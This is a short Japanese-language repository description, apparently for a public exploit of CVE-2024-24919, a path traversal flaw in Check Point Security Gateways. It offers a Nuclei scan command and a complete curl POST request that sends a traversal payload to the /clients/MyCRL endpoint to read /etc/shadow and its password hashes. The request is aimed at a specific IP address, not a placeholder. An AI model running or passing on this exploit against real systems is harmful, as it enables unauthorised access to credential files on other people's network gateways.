0xyumeko/cve-2024-24919CVE-2024-24919 のエクスプロイト。パストラバーサルを利用して Check Point Security Gateways を標的とし、/etc/shadow を読み取る。Nuclei テンプレートと curl コマンドによる自動テストに対応。
nuclei -list chick.txt -t CVE-2024-24919.yaml
をターゲットIPアドレスに置き換えると、このコマンドは/etc/shadowファイル（パスワードハッシュを含む）へのアクセスを試みます。
curl --path-as-is -i -s -k -X POST \ -H 'Host: 117.102.198.7 ' \ -H 'Content-Length: 39' \ -H 'Connection: keep-alive' \ --data-binary 'aCSHELL/../../../../../../../etc/shadow' \ 'https://117.102.198.7/clients/MyCRL'
